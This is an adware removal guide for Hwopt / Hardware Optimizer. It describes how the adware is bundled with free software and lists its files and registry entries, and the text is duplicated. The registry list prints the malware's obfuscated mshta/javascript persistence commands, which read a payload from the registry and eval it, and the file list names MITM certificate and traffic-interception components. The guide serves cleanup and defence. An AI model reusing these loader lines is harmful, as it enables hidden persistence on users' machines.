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Hwopt or Hardware Optimizer is an adware program that delivers a barrage of advertisements that either overlay websites or appear in a constant stream of new tabs. These advertisements are highly intrusive and in many cases show fake security alert pages designed to scare you into calling a remote tech support company.
How to remove the Hwopt or Hardware Optimizer Adware
Hwopt or Hardware Optimizer is an adware program that delivers a barrage of advertisements that either overlay websites or appear in a constant stream of new tabs. These advertisements are highly intrusive and in many cases show fake security alert pages designed to scare you into calling a remote tech support company.
Due to this constant display of advertisements, victim's browsers become sluggish, freeze often, and become barely usable. Many of these advertisements also lead to remote tech support scams or promote other adware bundles that will further harm your computer.
How did Hwopt or Hardware Optimizer get on my computer?
It is important to note that the Hwopt or Hardware Optimizer is bundled with and installed by free programs that did not adequately disclose that other software would be installed along with it. Therefore, it is important that you pay close attention to license agreements and installation screens when installing anything off of the Internet. If an installation screen offers youÂ*CustomÂ*orÂ*AdvancedÂ*installation options, it is a good idea to select these as they will typically disclose what other 3rd party software will also be installed. Furthermore, If the license agreement or installation screens state that they are going to install a toolbar or other unwanted adware, it is advised that you immediately cancel the install and not use the free software.
Hwopt is so intrusive that I cant imagine anyone who would want this program installed on their computer. The adware makes it so its almost impossible to properly browse the web and the installed browsers become unusable. I suggest that you use this guide to remove all remnants of the Hwopt or Hardware Optimizer adware and any other related programs for free.
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View Associated Hwopt Files %AppData%\1.png%AppData%\28.svg%AppData%\b_dk.jpg%AppData%\chapter.gif%AppData%\make.graphic.viewpor t.xml%AppData%\septillions.dll%AppData%\System.dll%AppData%\TerraceSawwortSouthernwood%UserProfile%\ soft.exe%UserProfile%\x64.txtC:\Windows\hwopt_04052016160558\C:\Windows\hwopt_04052016160558\addon\C :\Windows\hwopt_04052016160558\addon\atl110.dllC:\Windows\hwopt_04052016160558\addon\defcert.pemC:\W indows\hwopt_04052016160558\addon\defcertkey.pemC:\Windows\hwopt_04052016160558\addon\dhparam2048.pe mC:\Windows\hwopt_04052016160558\addon\mitmCA.pemC:\Windows\hwopt_04052016160558\addon\mitmCAder.crt C:\Windows\hwopt_04052016160558\addon\mitmCAprivkey.pemC:\Windows\hwopt_04052016160558\addon\msvcr11 0.dllC:\Windows\hwopt_04052016160558\addon\msvcr120.dllC:\Windows\hwopt_04052016160558\addon\msvcr12 0d.dllC:\Windows\hwopt_04052016160558\addon\netman.exeC:\Windows\hwopt_04052016160558\addon\nss_tool s\C:\Windows\hwopt_04052016160558\addon\nss_tools\certutil.exeC:\Windows\hwopt_04052016160558\addon\ nss_tools\freebl3.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\libnspr4.dllC:\Windows\hwopt_04 052016160558\addon\nss_tools\libplc4.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\libplds4.dll C:\Windows\hwopt_04052016160558\addon\nss_tools\msvcr100.dllC:\Windows\hwopt_04052016160558\addon\ns s_tools\msvcr110.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\nss3.dllC:\Windows\hwopt_0405201 6160558\addon\nss_tools\nssckbi.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\nssdbm3.dllC:\Win dows\hwopt_04052016160558\addon\nss_tools\nssutil3.dllC:\Windows\hwopt_04052016160558\addon\nss_tool s\smime3.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\softokn3.dllC:\Windows\hwopt_04052016160 558\addon\nss_tools\sqlite3.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\ssl3.dllC:\Windows\hw opt_04052016160558\addon\whitelist.txtC:\Windows\hwopt_04052016160558\addon\WinDivert.dllC:\Windows\ hwopt_04052016160558\addon\WinDivert64.sysC:\Windows\hwopt_04052016160558\AppSettings.configC:\Windo ws\hwopt_04052016160558\hwopt04052016160558.exeC:\Windows\hwopt_04052016160558\hwopt04052016160558.I nstallLogC:\Windows\hwopt_04052016160558\hwopt04052016160558.InstallStateC:\Windows\hwopt_0405201616 0558\hwopt04052016160558_updater_service.exeC:\Windows\hwopt_04052016160558\hwopt04052016160558_upda ter_service.InstallLogC:\Windows\hwopt_04052016160558\hwopt04052016160558_updater_service.InstallSta teC:\Windows\hwopt_04052016160558\InstallationStatsUploder_04052016160558.exeC:\Windows\hwopt_040520 16160558\InstallUtil.exeC:\Windows\hwopt_04052016160558\InstallUtil.InstallLogC:\Windows\hwopt_04052 016160558\msvcp110.dllC:\Windows\hwopt_04052016160558\msvcr110.dllC:\Windows\hwopt_04052016160558\Ne tworkUtil.dllC:\Windows\hwopt_04052016160558\Newtonsoft.Json.dllC:\Windows\hwopt_04052016160558\unin s000.datC:\Windows\hwopt_04052016160558\unins000.exeC:\Windows\hwopt_04052016160558\Utils.dllC:\Wind ows\hwopt_04052016160558\WinDivert.dllC:\Windows\hwopt_04052016160558\WinDivert64.sysFile Location Notes:
%UserProfile% refers to the current user's profile folder. By default, this is C:\Documents and Settings\ for Windows 2000/XP, C:\Users\ for Windows Vista/7/8, and c:\winnt\profiles\ for Windows NT.
%AppData% refers to the current users Application Data folder. By default, this is C:\Documents and Settings\\Application Data for Windows 2000/XP. For Windows Vista and Windows 7 it is C:\Users\\AppData\Roaming.
View Associated Hwopt Registry Information HKCU\Software\3c1cee05f3HKCU\Software\Classes\.ZIJR0pR8sHKCU\Software\Classes\HGPyHKCU\Software\Clas ses\HGPy\shellHKCU\Software\Classes\HGPy\shell\openHKCU\Software\Classes\HGPy\shell\open\commandHKCU \Software\Classes\HGPy\shell\open\command\ mshta "javascript:MbmcS1nh="QB5sDh";C9G9=new ActiveXObject("WScript.Shell");D75hadkscy="6Cej8Brq";QL9rw=C9G9.RegRead("HKCU\\software\\3c1cee05f3\ \9aab69f3");LPeVkKiu4="0";eval(QL9rw);fr2oC4klb="HM8yUFC";"HKCU\Software\Microsoft\Windows\CurrentVe rsion\Run\ mshta javascript:Uv92jIDsz="rurVgjfU";j3A=new%20ActiveXObject("WScript.Shell");tkvO82xaf="e";o3S5cR=j3A.Re gRead("HKCU\\software\\3c1cee05f3\\9aab69f3");ua7xjV7f="l";eval(o3S5cR);WeTjp1SM="BtcWTUPn";HKCU\Sof tware\Microsoft\Windows\CurrentVersion\Run\ %UserProfile%\AppData\Local\okujid\EMtqIJ42.ZIJR0pR8sHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ Policies\Explorer\RunHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ mshta javascript:PKnOzDi2="1";rw6=new%20ActiveXObject("WScript.Shell");OQHE3ys="V3bclHI35S";Lkz12z=rw6.Reg Read("HKLM\\software\\Wow6432Node\\3c1cee05f3\\9aab69f3");PRrx2roH="T";eval(Lkz12z);tvW3NON="HJme";H KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\dataHKLM\SOFTWARE\Microsoft\Windows\CurrentV ersion\Uninstall\data\uninstaller_path C:\Windows\hwopt_04052016160558HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{29007E8C-251B-4F61-A70E-635956418637734794}_is1HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ mshta javascript:P7GaU5JS="uToQJL";gG1=new%20ActiveXObject("WScript.Shell");UfD87FPdL="mK";Z3XeB=gG1.RegRe ad("HKLM\\software\\Wow6432Node\\3c1cee05f3\\9aab69f3");rGiDe0h="rEcQ7";eval(Z3XeB);c9tbSrg="WoqLNz5 wm";HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ mshta javascript:PKnOzDi2="1";rw6=new%20ActiveXObject("WScript.Shell");OQHE3ys="V3bclHI35S";Lkz12z=rw6.Reg Read("HKLM\\software\\Wow6432Node\\3c1cee05f3\\9aab69f3");PRrx2roH="T";eval(Lkz12z);tvW3NON="HJme";H KLM\SOFTWARE\Wow6432Node\3c1cee05f3HKLM\SOFTWARE\hwopt 1HKLM\SYSTEM\CurrentControlSet\services\hwopt04052016160558HKLM\SYSTEM\CurrentControlSet\services\Wi nDivert1.1
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How to remove the Hwopt or Hardware Optimizer Adware
- Wed, 04 May 2016 17:47:31 EDT
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Hwopt or Hardware Optimizer is an adware program that delivers a barrage of advertisements that either overlay websites or appear in a constant stream of new tabs. These advertisements are highly intrusive and in many cases show fake security alert pages designed to scare you into calling a remote tech support company.
Due to this constant display of advertisements, victim's browsers become sluggish, freeze often, and become barely usable. Many of these advertisements also lead to remote tech support scams or promote other adware bundles that will further harm your computer.
How did Hwopt or Hardware Optimizer get on my computer?
It is important to note that the Hwopt or Hardware Optimizer is bundled with and installed by free programs that did not adequately disclose that other software would be installed along with it. Therefore, it is important that you pay close attention to license agreements and installation screens when installing anything off of the Internet. If an installation screen offers youÂ*CustomÂ*orÂ*AdvancedÂ*installation options, it is a good idea to select these as they will typically disclose what other 3rd party software will also be installed. Furthermore, If the license agreement or installation screens state that they are going to install a toolbar or other unwanted adware, it is advised that you immediately cancel the install and not use the free software.
Hwopt is so intrusive that I cant imagine anyone who would want this program installed on their computer. The adware makes it so its almost impossible to properly browse the web and the installed browsers become unusable. I suggest that you use this guide to remove all remnants of the Hwopt or Hardware Optimizer adware and any other related programs for free.
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View Associated Hwopt Files %AppData%\1.png%AppData%\28.svg%AppData%\b_dk.jpg%AppData%\chapter.gif%AppData%\make.graphic.viewpor t.xml%AppData%\septillions.dll%AppData%\System.dll%AppData%\TerraceSawwortSouthernwood%UserProfile%\ soft.exe%UserProfile%\x64.txtC:\Windows\hwopt_04052016160558\C:\Windows\hwopt_04052016160558\addon\C :\Windows\hwopt_04052016160558\addon\atl110.dllC:\Windows\hwopt_04052016160558\addon\defcert.pemC:\W indows\hwopt_04052016160558\addon\defcertkey.pemC:\Windows\hwopt_04052016160558\addon\dhparam2048.pe mC:\Windows\hwopt_04052016160558\addon\mitmCA.pemC:\Windows\hwopt_04052016160558\addon\mitmCAder.crt C:\Windows\hwopt_04052016160558\addon\mitmCAprivkey.pemC:\Windows\hwopt_04052016160558\addon\msvcr11 0.dllC:\Windows\hwopt_04052016160558\addon\msvcr120.dllC:\Windows\hwopt_04052016160558\addon\msvcr12 0d.dllC:\Windows\hwopt_04052016160558\addon\netman.exeC:\Windows\hwopt_04052016160558\addon\nss_tool s\C:\Windows\hwopt_04052016160558\addon\nss_tools\certutil.exeC:\Windows\hwopt_04052016160558\addon\ nss_tools\freebl3.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\libnspr4.dllC:\Windows\hwopt_04 052016160558\addon\nss_tools\libplc4.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\libplds4.dll C:\Windows\hwopt_04052016160558\addon\nss_tools\msvcr100.dllC:\Windows\hwopt_04052016160558\addon\ns s_tools\msvcr110.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\nss3.dllC:\Windows\hwopt_0405201 6160558\addon\nss_tools\nssckbi.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\nssdbm3.dllC:\Win dows\hwopt_04052016160558\addon\nss_tools\nssutil3.dllC:\Windows\hwopt_04052016160558\addon\nss_tool s\smime3.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\softokn3.dllC:\Windows\hwopt_04052016160 558\addon\nss_tools\sqlite3.dllC:\Windows\hwopt_04052016160558\addon\nss_tools\ssl3.dllC:\Windows\hw opt_04052016160558\addon\whitelist.txtC:\Windows\hwopt_04052016160558\addon\WinDivert.dllC:\Windows\ hwopt_04052016160558\addon\WinDivert64.sysC:\Windows\hwopt_04052016160558\AppSettings.configC:\Windo ws\hwopt_04052016160558\hwopt04052016160558.exeC:\Windows\hwopt_04052016160558\hwopt04052016160558.I nstallLogC:\Windows\hwopt_04052016160558\hwopt04052016160558.InstallStateC:\Windows\hwopt_0405201616 0558\hwopt04052016160558_updater_service.exeC:\Windows\hwopt_04052016160558\hwopt04052016160558_upda ter_service.InstallLogC:\Windows\hwopt_04052016160558\hwopt04052016160558_updater_service.InstallSta teC:\Windows\hwopt_04052016160558\InstallationStatsUploder_04052016160558.exeC:\Windows\hwopt_040520 16160558\InstallUtil.exeC:\Windows\hwopt_04052016160558\InstallUtil.InstallLogC:\Windows\hwopt_04052 016160558\msvcp110.dllC:\Windows\hwopt_04052016160558\msvcr110.dllC:\Windows\hwopt_04052016160558\Ne tworkUtil.dllC:\Windows\hwopt_04052016160558\Newtonsoft.Json.dllC:\Windows\hwopt_04052016160558\unin s000.datC:\Windows\hwopt_04052016160558\unins000.exeC:\Windows\hwopt_04052016160558\Utils.dllC:\Wind ows\hwopt_04052016160558\WinDivert.dllC:\Windows\hwopt_04052016160558\WinDivert64.sysFile Location Notes:
%UserProfile% refers to the current user's profile folder. By default, this is C:\Documents and Settings\ for Windows 2000/XP, C:\Users\ for Windows Vista/7/8, and c:\winnt\profiles\ for Windows NT.
%AppData% refers to the current users Application Data folder. By default, this is C:\Documents and Settings\\Application Data for Windows 2000/XP. For Windows Vista and Windows 7 it is C:\Users\\AppData\Roaming.
View Associated Hwopt Registry Information HKCU\Software\3c1cee05f3HKCU\Software\Classes\.ZIJR0pR8sHKCU\Software\Classes\HGPyHKCU\Software\Clas ses\HGPy\shellHKCU\Software\Classes\HGPy\shell\openHKCU\Software\Classes\HGPy\shell\open\commandHKCU \Software\Classes\HGPy\shell\open\command\ mshta "javascript:MbmcS1nh="QB5sDh";C9G9=new ActiveXObject("WScript.Shell");D75hadkscy="6Cej8Brq";QL9rw=C9G9.RegRead("HKCU\\software\\3c1cee05f3\ \9aab69f3");LPeVkKiu4="0";eval(QL9rw);fr2oC4klb="HM8yUFC";"HKCU\Software\Microsoft\Windows\CurrentVe rsion\Run\ mshta javascript:Uv92jIDsz="rurVgjfU";j3A=new%20ActiveXObject("WScript.Shell");tkvO82xaf="e";o3S5cR=j3A.Re gRead("HKCU\\software\\3c1cee05f3\\9aab69f3");ua7xjV7f="l";eval(o3S5cR);WeTjp1SM="BtcWTUPn";HKCU\Sof tware\Microsoft\Windows\CurrentVersion\Run\ %UserProfile%\AppData\Local\okujid\EMtqIJ42.ZIJR0pR8sHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ Policies\Explorer\RunHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ mshta javascript:PKnOzDi2="1";rw6=new%20ActiveXObject("WScript.Shell");OQHE3ys="V3bclHI35S";Lkz12z=rw6.Reg Read("HKLM\\software\\Wow6432Node\\3c1cee05f3\\9aab69f3");PRrx2roH="T";eval(Lkz12z);tvW3NON="HJme";H KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\dataHKLM\SOFTWARE\Microsoft\Windows\CurrentV ersion\Uninstall\data\uninstaller_path C:\Windows\hwopt_04052016160558HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{29007E8C-251B-4F61-A70E-635956418637734794}_is1HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ mshta javascript:P7GaU5JS="uToQJL";gG1=new%20ActiveXObject("WScript.Shell");UfD87FPdL="mK";Z3XeB=gG1.RegRe ad("HKLM\\software\\Wow6432Node\\3c1cee05f3\\9aab69f3");rGiDe0h="rEcQ7";eval(Z3XeB);c9tbSrg="WoqLNz5 wm";HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ mshta javascript:PKnOzDi2="1";rw6=new%20ActiveXObject("WScript.Shell");OQHE3ys="V3bclHI35S";Lkz12z=rw6.Reg Read("HKLM\\software\\Wow6432Node\\3c1cee05f3\\9aab69f3");PRrx2roH="T";eval(Lkz12z);tvW3NON="HJme";H KLM\SOFTWARE\Wow6432Node\3c1cee05f3HKLM\SOFTWARE\hwopt 1HKLM\SYSTEM\CurrentControlSet\services\hwopt04052016160558HKLM\SYSTEM\CurrentControlSet\services\Wi nDivert1.1
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